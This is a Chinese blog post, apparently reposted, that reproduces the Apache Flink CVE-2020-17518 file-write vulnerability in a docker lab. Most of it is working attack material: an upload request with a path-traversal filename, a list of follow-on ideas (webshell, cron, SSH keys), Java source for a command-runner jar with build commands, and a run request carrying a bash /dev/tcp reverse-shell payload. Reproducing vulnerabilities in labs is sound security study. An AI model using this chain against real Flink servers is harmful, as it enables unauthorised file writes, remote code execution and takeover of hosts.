暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

漏洞复现 Apache Flink CVE-2020-17518

pen4uin 2021-01-19
2186

执行如下命令启动Flink 环境:

    docker-compose up -d
    复制

    环境启动后,目标为

      http://your-ip:8081
      复制




      先上传1个文件,测试测试环境:

        POST /jars/upload HTTP/1.1
        Host: 1.1.1.1:8081
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Connection: close
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
        Content-Length: 185


        ------WebKitFormBoundaryoZ8meKnrrso89R6Y
        Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/don9sec"


        don9sec
        ------WebKitFormBoundaryoZ8meKnrrso89R6Y--
        复制

        如图,环境搭建成功。

        文件写入大概有以下几种利用姿势(欢迎师傅们补充):

          写入webshell
          写入cron或ssh key等文件
          写入jar等库和配置文
          复制


          计划任务反弹shell尝试-失败



          注意:

          p牛的docker环境里是没有crontab的,所以得先配置一下复现环境的依赖:

            # 安装 crontab
            apt-get update && apt-get -y install cron
            service cron start
            复制



            如图,crontab已成功安装.

            多次测试均已失败告终,这里仅记录一下这种思路。



            jar包反弹shell尝试-成功



            准备jar包,源码如下:

              import java.io.File;
              import java.util.Scanner;


              public class Execute {
                 public Execute() {
                 }
                 public static void main(String[] args) throws Exception {
                     String o = "";
                     String cmd = args[0];
                     ProcessBuilder p;
                     if (System.getProperty("os.name").toLowerCase().contains("win")) {
                         p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                     } else {
                         String pty = "/bin/sh";
                         if ((new File("/bin/bash")).exists()) {
                             pty = "/bin/bash";
                         }
                         p = new ProcessBuilder(new String[]{pty, "-c", cmd});
                     }
                     Process s = p.start();
                     Scanner c = (new Scanner(s.getInputStream())).useDelimiter("\\A");
                     c.close();
                 }
              }
              复制

              将源码编译并打包为jar包,如图

                javac Execute.java
                jar cf execShell.jar Execute.class
                复制


                获取上传路径

                注:Flink运行时文件都在/tmp目录下

                通过接口 /jobmanager/config 可以获取web.tmpdir的路径:


                然后通过/jars/upload接口上传jar包。

                右键 -> paste from file

                如图,成功上传jar包:

                执行命令,反弹shell:

                  /jars/shell.jar/run?entry-class=
                  Execute&program-args=
                  '/bin/bash+-i+>%26+/dev/tcp/0.0.0.0/9999+0>%261'
                  复制

                  成功反弹shell,如图:

                  后续的步骤就是把复现过程代码化,落地成poc。



                  参考:

                    https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
                    https://nosec.org/home/detail/4639.html
                    复制


                    文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                    评论